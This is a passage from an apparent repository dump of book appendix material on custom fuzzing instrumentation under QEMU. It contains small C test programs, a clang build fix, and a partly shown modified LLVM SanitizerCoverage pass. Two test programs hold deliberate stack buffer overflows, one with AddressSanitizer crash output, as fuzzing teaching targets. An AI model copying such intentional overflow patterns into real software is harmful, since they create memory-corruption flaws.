example5\n\trm -rf example6\n\trm -rf temp_*\n\n"
  },
  {
    "path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/example1.c",
    "content": "\n\n#include <stdio.h>\n\n\n\nint main(int argc,char** argv) {\n    printf(\"main running !!!\\n\");\n\n    int a = 1;\n    a += 23123;\n\n    printf(\"main exit !!\\n\");\n\n    return 1;\n}\n\n\n\n"
  },
  {
    "path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/example2.c",
    "content": "\n\n#include <stdio.h>\n\n\nvoid try_write(int a) {\n    printf(\"try write !!!\\n\");\n\n    if (a==1) {\n        ;\n    } else {\n        ;\n    }\n}\n\n\nint try_read(int b) {\n    printf(\"try read !!!\\n\");\n\n    if (b==1) {\n        ;\n    } else {\n        ;\n    }\n\n    return 0;\n}\n\n\nint main(int argc,char** argv) {\n    __sanitizer_enter();\n    printf(\"main running !!!\\n\");\n\n    try_write(1);\n    try_read(2);\n\n    printf(\"main exit !!\\n\");\n\n    __sanitizer_exit();\n    return 1;\n}\n\n\n\n"
  },
  {
    "path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/example3.c",
    "content": "\n\n#include <stdio.h>\n\n\n\nint foo(int b) {\n    printf(\"foo !!\\n\");\n\n    if (b==1) {\n        ;\n    } else {\n        ;\n    }\n\n    return 0;\n}\n\n\nint main(int argc,char** argv) {\n    __sanitizer_enter();\n\n    printf(\"main running !!!\\n\");\n\n    foo(2);\n\n    printf(\"main exit !!\\n\");\n\n    __sanitizer_exit();\n    return 1;\n}\n\n\n\n"
  },
  {
    "path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/example4.c",
    "content": "\n\n#include <stdio.h>\n\n\n\nint foo1(int b) {\n    printf(\"foo1 !!\\n\");\n\n    if (b==1) {\n        ;\n    } else {\n        foo2(b);\n    }\n\n    return 0;\n}\n\nint foo2(int b) {\n    printf(\"foo1 !!\\n\");\n\n    if (b==1) {\n        ;\n    } else if (b==3) {\n        ;\n    } else {\n        foo3(b);\n    }\n\n    return 0;\n}\n\nint foo3(int b) {\n    printf(\"foo1 !!\\n\");\n\n    if (b==1) {\n        ;\n    } else if (b==3) {\n        ;\n    } else if (b==4) {\n        ;\n    } else {\n        foo4(b);\n    }\n\n    return 0;\n}\n\nint foo4(int b) {\n    printf(\"foo1 !!\\n\");\n\n    if (b==2) {\n        foo5(1);\n    } else if (b==4) {\n        ;\n    } else if (b==6) {\n        ;\n    } else if (b==9) {\n        ;\n    } else if (b==2) {\n        ;\n    }\n\n    return 0;\n}\n\nint foo5(int b) {\n    return 1;\n}\n\n\nint main(int argc,char** argv) {\n    __sanitizer_enter();\n\n    printf(\"main running !!!\\n\");\n\n    foo1(2);\n\n    printf(\"main exit !!\\n\");\n\n    __sanitizer_exit();\n    return 1;\n}\n\n\n\n"
  },
  {
    "path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/example5.c",
    "content": "\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n\n#define random(x) (rand()%x)\n\n\nint foo1(int b) {\n    printf(\"foo1 !!\\n\");\n\n    if (b==1) {\n        ;\n    } else {\n        foo2(b);\n    }\n\n    return 0;\n}\n\nint foo2(int b) {\n    printf(\"foo1 !!\\n\");\n\n    if (b==1) {\n        ;\n    } else if (b==3) {\n        ;\n    } else {\n        foo3(b);\n    }\n\n    return 0;\n}\n\nint foo3(int b) {\n    printf(\"foo1 !!\\n\");\n\n    if (b==1) {\n        ;\n    } else if (b==3) {\n        ;\n    } else if (b==4) {\n        ;\n    } else {\n        foo4(b);\n    }\n\n    return 0;\n}\n\nint foo4(int b) {\n    printf(\"foo1 !!\\n\");\n\n    if (b==2) {\n        foo5(1);\n    } else if (b==4) {\n        ;\n    } else if (b==6) {\n        ;\n    } else if (b==5) {\n        ;\n    } else if (b==1) {\n        ;\n    }\n\n    return 0;\n}\n\nint foo5(int b) {\n    return 1;\n}\n\n\nint main(int argc,char** argv) {\n    srand((int)time(0));\n    printf(\"main running !!!\\n\");\n\n    for (int index = 0,all_test_count = random(5) + 1;index < all_test_count;++index) {\n        __sanitizer_enter();\n        foo1(random(6) + 1);\n        __sanitizer_exit();\n    }\n\n    printf(\"main exit !!\\n\");\n\n    return 1;\n}\n\n\n\n"
  },
  {
    "path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/example6.c",
    "content": "\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n\n#define random(x) (rand()%x)\n\n\nint foo1(int b) {\n    printf(\"foo1 !!\\n\");\n\n    if (b==1) {\n        ;\n    } else {\n        foo2(b);\n    }\n\n    return 0;\n}\n\nint foo2(int b) {\n    printf(\"foo1 !!\\n\");\n\n    if (b==1) {\n        ;\n    } else if (b==3) {\n        ;\n    } else {\n        foo3(b);\n    }\n\n    return 0;\n}\n\nint foo3(int b) {\n    printf(\"foo1 !!\\n\");\n\n    if (b==1) {\n        ;\n    } else if (b==3) {\n        ;\n    } else if (b==4) {\n        ;\n    } else {\n        foo4(b);\n    }\n\n    return 0;\n}\n\nint foo4(int b) {\n    printf(\"foo1 !!\\n\");\n\n    if (b==2) {\n        foo5(1);\n    } else if (b==4) {\n        ;\n    } else if (b==6) {\n        ;\n    } else if (b==5) {\n        ;\n    } else if (b==1) {\n        ;\n    }\n\n    return 0;\n}\n\nint foo5(int b) {\n    return 1;\n}\n\n\nint main(int argc,char** argv) {\n    printf(\"main running !!!\\n\");\n\n    for (int index = 1;index < argc;++index) {\n        __sanitizer_enter();\n        foo1(atoi(argv[index]));\n        __sanitizer_exit();\n    }\n\n    printf(\"main exit !!\\n\");\n\n    return 1;\n}\n\n\n\n"
  },
  {
    "path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/example7.c",
    "content": "\n#include <stdio.h>\n\n#define MAX_SIZE (0x100)\n\n\ntypedef struct {\n    char buffer[MAX_SIZE];\n    int a;\n    int b;\n    int c;\n    int d;\n} data;\n\n\nint main() {\n    data test = {0};\n\n    printf(\"no crash! A \\n\");\n\n    test.buffer[0x1001] = 0xFF;\n\n    printf(\"no crash! B \\n\");\n\n    test.buffer[0x101] = 0xFF;\n\n    printf(\"try crash! --> %X \\n\",sizeof(data));\n\n    test.buffer[sizeof(data)] = 0xFF;\n\n    return 0;\n}\n\n/*\n\nubuntu@ubuntu-virtual-machine:~/Desktop/vm_qemu/qemu_fuzzer/instrument$ ./example7 \nno crash! A \nno crash! B \ntry crash!\n=================================================================\n==82233==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe696249f0 at pc 0x0000004c51cc bp 0x7ffe696248b0 sp 0x7ffe696248a8\nWRITE of size 1 at 0x7ffe696249f0 thread T0\n    #0 0x4c51cb in main (/home/ubuntu/Desktop/vm_qemu/qemu_fuzzer/instrument/example7+0x4c51cb)\n    #1 0x7ff7823edcb1 in __libc_start_main csu/../csu/libc-start.c:314:16\n    #2 0x41b2bd in _start (/home/ubuntu/Desktop/vm_qemu/qemu_fuzzer/instrument/example7+0x41b2bd)\n\nAddress 0x7ffe696249f0 is located in stack of thread T0 at offset 304 in frame\n    #0 0x4c4f5f in main (/home/ubuntu/Desktop/vm_qemu/qemu_fuzzer/instrument/example7+0x4c4f5f)\n\n  This frame has 1 object(s):\n    [32, 304) 'test' <== Memory access at offset 304 overflows this variable\nHINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork\n      (longjmp and C++ exceptions *are* supported)\nSUMMARY: AddressSanitizer: stack-buffer-overflow (/home/ubuntu/Desktop/vm_qemu/qemu_fuzzer/instrument/example7+0x4c51cb) in main\nShadow bytes around the buggy address:\n  0x10004d2bc8e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x10004d2bc8f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x10004d2bc900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x10004d2bc910: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 00 00 00\n  0x10004d2bc920: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x10004d2bc930: 00 00 00 00 00 00 00 00 00 00 00 00 00 00[f3]f3\n  0x10004d2bc940: f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00\n  0x10004d2bc950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x10004d2bc960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x10004d2bc970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x10004d2bc980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==82233==ABORTING\nubuntu@ubuntu-virtual-machine:~/Desktop/vm_qemu/qemu_fuzzer/instrument$ \n\n*/\n\n"
  },
  {
    "path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/example8.c",
    "content": "\n#include <stdio.h>\n\n\nint main() {\n    int a=1;\n    char buffer[10] = {0};\n    int b=2;\n\n    printf(\"using a -> %d\\n\",a);\n\n    buffer[10] = 'C';\n\n    printf(\"using b -> %d\\n\",b);\n    \n    return 1;\n}\n\n"
  },
  {
    "path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/llvm-sanitizer/clang-fix.txt",
    "content": "\n\n## 1.clang-11 Compile Error in Make\n\nfuzzing@fuzzing-virtual-machine:~/Desktop/vm_qemu/qemu_fuzzer/instrument$ make && ./fuzzer ./example3\nclang-sp -g -fsanitize-coverage=trace-pc-guard sanitize_converage.c -c -v\nclang version 11.0.1\nTarget: x86_64-unknown-linux-gnu\nThread model: posix\nInstalledDir: /usr/bin\nFound candidate GCC installation: /usr/bin/../lib/gcc/x86_64-linux-gnu/10\nFound candidate GCC installation: /usr/bin/../lib/gcc/x86_64-linux-gnu/8\nFound candidate GCC installation: /usr/lib/gcc/x86_64-linux-gnu/10\nFound candidate GCC installation: /usr/lib/gcc/x86_64-linux-gnu/8\nSelected GCC installation: /usr/bin/../lib/gcc/x86_64-linux-gnu/10\nCandidate multilib: .;@m64\nSelected multilib: .;@m64\n (in-process)\n \"/usr/bin/clang-sp\" -cc1 -triple x86_64-unknown-linux-gnu -emit-obj -mrelax-all -disable-free -disable-llvm-verifier -discard-value-names -main-file-name sanitize_converage.c -mrelocation-model static -mframe-pointer=all -fmath-errno -fno-rounding-math -mconstructor-aliases -munwind-tables -target-cpu x86-64 -fno-split-dwarf-inlining -debug-info-kind=limited -dwarf-version=4 -debugger-tuning=gdb -v -resource-dir /usr/lib/clang/11.0.1 -internal-isystem /usr/local/include -internal-isystem /usr/lib/clang/11.0.1/include -internal-externc-isystem /usr/include/x86_64-linux-gnu -internal-externc-isystem /include -internal-externc-isystem /usr/include -fdebug-compilation-dir /home/fuzzing/Desktop/vm_qemu/qemu_fuzzer/instrument -ferror-limit 19 -fsanitize-coverage-type=3 -fsanitize-coverage-trace-pc-guard -fgnuc-version=4.2.1 -fcolor-diagnostics -faddrsig -o sanitize_converage.o -x c sanitize_converage.c\nclang -cc1 version 11.0.1 based upon LLVM 11.0.1 default target x86_64-unknown-linux-gnu\nignoring nonexistent directory \"/usr/lib/clang/11.0.1/include\"\nignoring nonexistent directory \"/include\"\n#include \"...\" search starts here:\n#include <...> search starts here:\n /usr/local/include\n /usr/include/x86_64-linux-gnu\n /usr/include\nEnd of search list.\nIn file included from sanitize_converage.c:4:\nIn file included from /usr/include/memory.h:29:\n/usr/include/string.h:33:10: fatal error: 'stddef.h' file not found\n#include <stddef.h>\n         ^~~~~~~~~~\n1 error generated.\nmake: *** [Makefile:7: all] Error 1\n\nFix:\nsudo ln -s your_llvm_lib_path  /usr/lib/clang/11.0.1\nsudo ln -s /usr/lib/llvm-11/lib/clang/11.0.0  /usr/lib/clang/11.0.1\n\n\n"
  },
  {
    "path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/llvm-sanitizer/llvm/lib/Transforms/Instrumentation/SanitizerCoverage.cpp",
    "content": "//===-- SanitizerCoverage.cpp - coverage instrumentation for sanitizers ---===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// Coverage instrumentation done on LLVM IR level, works with Sanitizers.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"llvm/Transforms/Instrumentation/SanitizerCoverage.h\"\n#include \"llvm/ADT/ArrayRef.h\"\n#include \"llvm/ADT/SmallVector.h\"\n#include \"llvm/Analysis/EHPersonalities.h\"\n#include \"llvm/Analysis/PostDominators.h\"\n#include \"llvm/IR/CFG.h\"\n#include \"llvm/IR/Constant.h\"\n#include \"llvm/IR/DataLayout.h\"\n#include \"llvm/IR/DebugInfo.h\"\n#include \"llvm/IR/Dominators.h\"\n#include \"llvm/IR/Function.h\"\n#include \"llvm/IR/GlobalVariable.h\"\n#include \"llvm/IR/IRBuilder.h\"\n#include \"llvm/IR/InlineAsm.h\"\n#include \"llvm/IR/IntrinsicInst.h\"\n#include \"llvm/IR/Intrinsics.h\"\n#include \"llvm/IR/LLVMContext.h\"\n#include \"llvm/IR/MDBuilder.h\"\n#include \"llvm/IR/Mangler.h\"\n#include \"llvm/IR/Module.h\"\n#include \"llvm/IR/Type.h\"\n#include \"llvm/InitializePasses.h\"\n#include \"llvm/Support/CommandLine.h\"\n#include \"llvm/Support/Debug.h\"\n#include \"llvm/Support/SpecialCaseList.h\"\n#include \"llvm/Support/VirtualFileSystem.h\"\n#include \"llvm/Support/raw_ostream.h\"\n#include \"llvm/Transforms/Instrumentation.h\"\n#include \"llvm/Transforms/Utils/BasicBlockUtils.h\"\n#include \"llvm/Transforms/Utils/ModuleUtils.h\"\n\nusing namespace llvm;\n\n#define DEBUG_TYPE \"sancov\"\n\nstatic const char *const SanCovTracePCIndirName =\n    \"__sanitizer_cov_trace_pc_indir\";\nstatic const char *const SanCovTracePCName = \"__sanitizer_cov_trace_pc\";\nstatic const char *const SanCovTraceCmp1 = \"__sanitizer_cov_trace_cmp1\";\nstatic const char *const SanCovTraceCmp2 = \"__sanitizer_cov_trace_cmp2\";\nstatic const char *const SanCovTraceCmp4 = \"__sanitizer_cov_trace_cmp4\";\nstatic const char *const SanCovTraceCmp8 = \"__sanitizer_cov_trace_cmp8\";\nstatic const char *const SanCovTraceConstCmp1 =\n    \"__sanitizer_cov_trace_const_cmp1\";\nstatic const char *const SanCovTraceConstCmp2 =\n    \"__sanitizer_cov_trace_const_cmp2\";\nstatic const char *const SanCovTraceConstCmp4 =\n    \"__sanitizer_cov_trace_const_cmp4\";\nstatic const char *const SanCovTraceConstCmp8 =\n    \"__sanitizer_cov_trace_const_cmp8\";\nstatic const char *const SanCovTraceDiv4 = \"__sanitizer_cov_trace_div4\";\nstatic const char *const SanCovTraceDiv8 = \"__sanitizer_cov_trace_div8\";\nstatic const char *const SanCovTraceGep = \"__sanitizer_cov_trace_gep\";\nstatic const char *const SanCovTraceSwitchName = \"__sanitizer_cov_trace_switch\";\nstatic const char *const SanCovModuleCtorTracePcGuardName =\n    \"sancov.module_ctor_trace_pc_guard\";\nstatic const char *const SanCovModuleCtorTracePcGuardTotalName =\n    \"sancov.module_ctor_trace_pc_guard_total\";\nstatic const char *const SanCovModuleCtor8bitCountersName =\n    \"sancov.module_ctor_8bit_counters\";\nstatic const char *const SanCovModuleCtorBoolFlagName =\n    \"sancov.module_ctor_bool_flag\";\nstatic const uint64_t SanCtorAndDtorPriority = 2;\n\nstatic const char *const SanCovTracePCGuardName =\n    \"__sanitizer_cov_trace_pc_guard\";\nstatic const char *const SanCovTracePCGuardInitName =\n    \"__sanitizer_cov_trace_pc_guard_init\";\nstatic const char *const SanCov8bitCountersInitName =\n    \"__sanitizer_cov_8bit_counters_init\";\nstatic const char *const SanCovBoolFlagInitName =\n    \"__sanitizer_cov_bool_flag_init\";\nstatic const char *const SanCovPCsInitName = \"__sanitizer_cov_pcs_init\";\n\nstatic const char *const SanCovGuardsSectionName = \"sancov_guards\";\nstatic const char *const SanCovCountersSectionName = \"sancov_cntrs\";\nstatic const char *const SanCovBoolFlagSectionName = \"sancov_bools\";\nstatic const char *const SanCovPCsSectionName = \"sancov_pcs\";\n\nstatic const char *const SanCovLowestStackName = \"__sancov_lowest_stack\";\n\nstatic cl::opt<int> ClCoverageLevel(\n    \"sanitizer-coverage-level\",\n    cl::desc(\"Sanitizer Coverage. 0: none, 1: entry block, 2: all blocks, \"\n             \"3: all blocks and critical edges\"),\n    cl::Hidden, cl::init(0));\n\nstatic cl::opt<bool> ClTracePC(\"sanitizer-coverage-trace-pc\",\n                               cl::desc(\"Experimental pc tracing\"), cl::Hidden,\n                               cl::init(false));\n\nstatic cl::opt<bool> ClTracePCGuard(\"sanitizer-coverage-trace-pc-guard\",\n                                    cl::desc(\"pc tracing with a guard\"),\n                                    cl::Hidden, cl::init(false));\n\n// If true, we create a global variable that contains PCs of all instrumented\n// BBs, put this global into a named section, and pass this section's bounds\n// to __sanitizer_cov_pcs_init.\n// This way the coverage instrumentation does not need to acquire the PCs\n// at run-time. Works with trace-pc-guard, inline-8bit-counters, and\n// inline-bool-flag.\nstatic cl::opt<bool> ClCreatePCTable(\"sanitizer-coverage-pc-table\",\n                                     cl::desc(\"create a static PC table\"),\n                                     cl::Hidden, cl::init(false));\n\nstatic cl::opt<bool>\n    ClInline8bitCounters(\"sanitizer-coverage-inline-8bit-counters\",\n                         cl::desc(\"increments 8-bit counter for every edge\"),\n                         cl::Hidden, cl::init(false));\n\nstatic cl::opt<bool>\n    ClInlineBoolFlag(\"sanitizer-coverage-inline-bool-flag\",\n                     cl::desc(\"sets a boolean flag for every edge\"), cl::Hidden,\n                     cl::init(false));\n\nstatic cl::opt<bool>\n    ClCMPTracing(\"sanitizer-coverage-trace-compares\",\n                 cl::desc(\"Tracing of CMP and similar instructions\"),\n                 cl::Hidden, cl::init(false));\n\nstatic cl::opt<bool> ClDIVTracing(\"sanitizer-coverage-trace-divs\",\n                                  cl::desc(\"Tracing of DIV instructions\"),\n                                  cl::Hidden, cl::init(false));\n\nstatic cl::opt<bool> ClGEPTracing(\"sanitizer-coverage-trace-geps\",\n                                  cl::desc(\"Tracing of GEP instructions\"),\n                                  cl::Hidden, cl::init(false));\n\nstatic cl::opt<bool>\n    ClPruneBlocks(\"sanitizer-coverage-prune-blocks\",\n                  cl::desc(\"Reduce the number of instrumented blocks\"),\n                  cl::Hidden, cl::init(true));\n\nstatic cl::opt<bool> ClStackDepth(\"sanitizer-coverage-stack-depth\",\n                                  cl::desc(\"max stack depth tracing\"),\n                                  cl::Hidden, cl::init(false));\n\nnamespace {\n\nSanitizerCoverageOptions getOptions(int LegacyCoverageLevel) {\n  SanitizerCoverageOptions Res;\n  switch (LegacyCoverageLevel) {\n  case 0:\n    Res.CoverageType = SanitizerCoverageOptions::SCK_None;\n    break;\n  case 1:\n    Res.CoverageType = SanitizerCoverageOptions::SCK_Function;\n    break;\n  case 2:\n    Res.CoverageType = SanitizerCoverageOptions::SCK_BB;\n    break;\n  case 3:\n    Res.CoverageType = SanitizerCoverageOptions::SCK_Edge;\n    break;\n  case 4:\n    Res.CoverageType = SanitizerCoverageOptions::SCK_Edge;\n    Res.IndirectCalls = true;\n    break;\n  }\n  return Res;\n}\n\nSanitizerCoverageOptions OverrideFromCL(SanitizerCoverageOptions Options) {\n  // Sets CoverageType and IndirectCalls.\n  SanitizerCoverageOptions CLOpts = getOptions(ClCoverageLevel);\n  Options.CoverageType = std::max(Options.CoverageType, CLOpts.CoverageType);\n  Options.IndirectCalls |= CLOpts.IndirectCalls;\n  Options.TraceCmp |= ClCMPTracing;\n  Options.TraceDiv |= ClDIVTracing;\n  Options.TraceGep |= ClGEPTracing;\n  Options.TracePC |= ClTracePC;\n  Options.TracePCGuard |= ClTracePCGuard;\n  Options.Inline8bitCounters |= ClInline8bitCounters;\n  Options.InlineBoolFlag |= ClInlineBoolFlag;\n  Options.PCTable |= ClCreatePCTable;\n  Options.NoPrune |= !ClPruneBlocks;\n  Options.StackDepth |= ClStackDepth;\n  if (!Options.TracePCGuard && !Options.TracePC &&\n      !Options.Inline8bitCounters && !Options.StackDepth &&\n      !Options.InlineBoolFlag)\n    Options.TracePCGuard = true; // TracePCGuard is default.\n  return Options;\n}\n\nusing DomTreeCallback = function_ref<const DominatorTree *(Function &F)>;\nusing PostDomTreeCallback =\n    function_ref<const PostDominatorTree *(Function &F)>;\n\nclass ModuleSanitizerCoverage {\npublic:\n  ModuleSanitizerCoverage(\n      const SanitizerCoverageOptions &Options = SanitizerCoverageOptions(),\n      const SpecialCaseList *Allowlist = nullptr,\n      const SpecialCaseList *Blocklist = nullptr)\n      : Options(OverrideFromCL(Options)), Allowlist(Allowlist),\n        Blocklist(Blocklist) {}\n  bool instrumentModule(Module &M, DomTreeCallback DTCallback,\n                        PostDomTreeCallback PDTCallback);\n\nprivate:\n  void instrumentFunction(Function &F, DomTreeCallback DTCallback,\n                          PostDomTreeCallback PDTCallback);\n  void InjectCoverageForIndirectCalls(Function &F,\n                                      ArrayRef<Instruction *> IndirCalls);\n  void InjectTraceForCmp(Function &F, ArrayRef<Instruction *> CmpTraceTargets);\n  void InjectTraceForDiv(Function &F,\n                         ArrayRef<BinaryOperator *> DivTraceTargets);\n  void InjectTraceForGep(Function &F,\n                         ArrayRef<GetElementPtrInst *> GepTraceTargets);\n  void InjectTraceForSwitch(Function &F,\n                            ArrayRef<Instruction *> SwitchTraceTargets);\n  bool InjectCoverage(Function &F, ArrayRef<BasicBlock *> AllBlocks,\n                      bool IsLeafFunc = true);\n  GlobalVariable *CreateFunctionLocalArrayInSection(size_t NumElements,\n                                                    Function &F, Type *Ty,\n                                                    const char *Section);\n  GlobalVariable *CreatePCArray(Function &F, ArrayRef<BasicBlock *> AllBlocks);\n  void CreateFunctionLocalArrays(Function &F, ArrayRef<BasicBlock *> AllBlocks);\n  void InjectCoverageAtBlock(Function &F, BasicBlock &BB, size_t Idx,\n                             bool IsLeafFunc = true,size_t EdgeCount = 0);\n  Function *CreateInitCallsForSections(Module &M, const char *CtorName,\n                                       const char *InitFunctionName, Type *Ty,\n                                       const char *Section);\n  std::pair<Value *, Value *> CreateSecStartEnd(Module &M, const char *Section,\n                                                Type *Ty);\n\n  void SetNoSanitizeMetadata(Instruction *I) {\n    I->setMetadata(I->getModule()->getMDKindID(\"nosanitize\"),\n                   MDNode::get(*C, None));\n  }\n\n  std::string getSectionName(const std::string &Section) const;\n  std::string getSectionStart(const std::string &Section) const;\n  std::string getSectionEnd(const std::string &Section) const;\n  FunctionCallee SanCovTracePCIndir;\n  FunctionCallee SanCovTracePC, SanCovTracePCGuard;\n  FunctionCallee SanCovTraceCmpFunction[4];\n  FunctionCallee SanCovTraceConstCmpFunction[4];\n  FunctionCallee SanCovTraceDivFunction[2];\n  FunctionCallee SanCovTraceGepFunction;\n  FunctionCallee SanCovTraceSwitchFunction;\n  GlobalVariable *SanCovLowestStack;\n  Type *IntptrTy, *IntptrPtrTy, *Int64Ty, *Int64PtrTy, *Int32Ty, *Int32PtrTy,\n      *Int16Ty, *Int8Ty, *Int8PtrTy, *Int1Ty, *Int1PtrTy;\n  Module *CurModule;\n  std::string CurModuleUniqueId;\n  Triple TargetTriple;\n  LLVMContext *C;\n  const DataLayout *DL;\n\n  GlobalVariable *FunctionGuardArray;  // for trace-pc-guard.\n  GlobalVariable *Function8bitCounterArray;  // for inline-8bit-counters.\n  GlobalVariable *FunctionBoolArray;         // for inline-bool-flag.\n  GlobalVariable *FunctionPCsArray;  // for pc-table.\n  SmallVector<GlobalValue *, 20> GlobalsToAppendToUsed;\n  SmallVector<GlobalValue *, 20> GlobalsToAppendToCompilerUsed;\n\n  SanitizerCoverageOptions Options;\n\n  const SpecialCaseList *Allowlist;\n  const SpecialCaseList *Blocklist;\n};\n\nclass ModuleSanitizerCoverageLegacyPass : public ModulePass {\npublic:\n  ModuleSanitizerCoverageLegacyPass(\n      const SanitizerCoverageOptions &Options = SanitizerCoverageOptions(),\n      const std::vector<std::string> &AllowlistFiles =\n          std::vector<std::string>(),\n      const std::vector<std::string> &BlocklistFiles =\n          std::vector<std::string>())\n      : ModulePass(ID), Options(Options) {\n    if (AllowlistFiles.size() > 0)\n      Allowlist = SpecialCaseList::createOrDie(AllowlistFiles,\n                                               *vfs::getRealFileSystem());\n    if (BlocklistFiles.size() > 0)\n      Blocklist = SpecialCaseList::createOrDie(BlocklistFiles,\n                                               *vfs::getRealFileSystem());\n    initializeModuleSanitizerCoverageLegacyPassPass(\n        *PassRegistry::getPassRegistry());\n  }\n  bool runOnModule(Module &M) override {\n    ModuleSanitizerCoverage ModuleSancov(Options, Allowlist.get(),\n                                         Blocklist.get());\n    auto DTCallback = [this](Function &F) -> const DominatorTree * {\n      return &this->getAnalysis<DominatorTreeWrapperPass>(F).getDomTree();\n    };\n    auto PDTCallback = [this](Function &F) -> const PostDominatorTree * {\n      return &this->getAnalysis<PostDominatorTreeWrapperPass>(F)\n                  .getPostDomTree();\n    };\n    return ModuleSancov.instrumentModule(M, DTCallback, PDTCallback);\n  }\n\n  static char ID; // Pass identification, replacement for typeid\n  StringRef getPassName() const override { return \"ModuleSanitizerCoverage\"; }\n\n  void getAnalysisUsage(AnalysisUsage &AU) const override {\n    AU.addRequired<DominatorTreeWrapperPass>();\n    AU.addRequired<PostDominatorTreeWrapperPass>();\n  }\n\nprivate:\n  SanitizerCoverageOptions Options;\n\n  std::unique_ptr<SpecialCaseList> Allowlist;\n  std::unique_ptr<SpecialCaseList> Blocklist;\n};\n\n} // namespace\n\nPreservedAnalyses ModuleSanitizerCoveragePass::run(Module &M,\n                                                   ModuleAnalysisManager &MAM) {\n  ModuleSanitizerCoverage ModuleSancov(Options, Allowlist.get(),\n                                       Blocklist.get());\n  auto &FAM = MAM.getResult<FunctionAnalysisManagerModuleProxy>(M).getManager();\n  auto DTCallback = [&FAM](Function &F) -> const DominatorTree * {\n    return &FAM.getResult<DominatorTreeAnalysis>(F);\n  };\n  auto PDTCallback = [&FAM](Function &F) -> const PostDominatorTree * {\n    return &FAM.getResult<PostDominatorTreeAnalysis>(F);\n  };\n  if (ModuleSancov.instrumentModule(M, DTCallback, PDTCallback))\n    return PreservedAnalyses::none();\n  return PreservedAnalyses::all();\n}\n\nstd::pair<Value *, Value *>\nModuleSanitizerCoverage::CreateSecStartEnd(Module &M, const char *Section,\n                                           Type *Ty) {\n  GlobalVariable *SecStart =\n      new GlobalVariable(M, Ty, false, GlobalVariable::ExternalLinkage, nullptr,\n                         getSectionStart(Section));\n  SecStart->setVisibility(GlobalValue::HiddenVisibility);\n  GlobalVariable *SecEnd =\n      new GlobalVariable(M, Ty, false, GlobalVariable::ExternalLinkage,\n                         nullptr, getSectionEnd(Section));\n  SecEnd->setVisibility(GlobalValue::HiddenVisibility);\n  IRBuilder<> IRB(M.getContext());\n  Value *SecEndPtr = IRB.CreatePointerCast(SecEnd, Ty);\n  if (!TargetTriple.isOSBinFormatCOFF())\n    return std::make_pair(IRB.CreatePointerCast(SecStart, Ty), SecEndPtr);\n\n  // Account for the fact that on windows-msvc __start_* symbols actually\n  // point to a uint64_t before the start of the array.\n  auto SecStartI8Ptr = IRB.CreatePointerCast(SecStart, Int8PtrTy);\n  auto GEP = IRB.CreateGEP(Int8Ty, SecStartI8Ptr,\n                           ConstantInt::get(IntptrTy, sizeof(uint64_t)));\n  return std::make_pair(IRB.CreatePointerCast(GEP, Ty), SecEndPtr);\n}\n\nFunction *ModuleSanitizerCoverage::CreateInitCallsForSections(\n    Module &M, const char *CtorName, const char *InitFunctionName, Type *Ty,\n    const char *Section) {\n  auto SecStartEnd = CreateSecStartEnd(M, Section, Ty);\n  auto SecStart = SecStartEnd.first;\n  auto SecEnd = SecStartEnd.second;\n  Function *CtorFunc;\n  std::tie(CtorFunc, std::ignore) = createSanitizerCtorAndInitFunctions(\n      M, CtorName, InitFunctionName, {Ty, Ty}, {SecStart, SecEnd});\n  assert(CtorFunc->getName() == CtorName);\n\n  if (TargetTriple.supportsCOMDAT()) {\n    // Use comdat to dedup CtorFunc.\n    CtorFunc->setComdat(M.getOrInsertComdat(CtorName));\n    appendToGlobalCtors(M, CtorFunc, SanCtorAndDtorPriority, CtorFunc);\n  } else {\n    appendToGlobalCtors(M, CtorFunc, SanCtorAndDtorPriority);\n  }\n\n  if (TargetTriple.isOSBinFormatCOFF()) {\n    // In COFF files, if the contructors are set as COMDAT (they are because\n    // COFF supports COMDAT) and the linker flag /OPT:REF (strip unreferenced\n    // functions and data) is used, the constructors get stripped. To prevent\n    // this, give the constructors weak ODR linkage and ensure the linker knows\n    // to include the sancov constructor. This way the linker can deduplicate\n    // the constructors but always leave one copy.\n    CtorFunc->setLinkage(GlobalValue::WeakODRLinkage);\n    appendToUsed(M, CtorFunc);\n  }\n  return CtorFunc;\n}\n\nbool ModuleSanitizerCoverage::instrumentModule(\n    Module &M, DomTreeCallback DTCallback, PostDomTreeCallback PDTCallback) {\n  if (Options.CoverageType == SanitizerCoverageOptions::SCK_None)\n    return false;\n  if (Allowlist &&\n      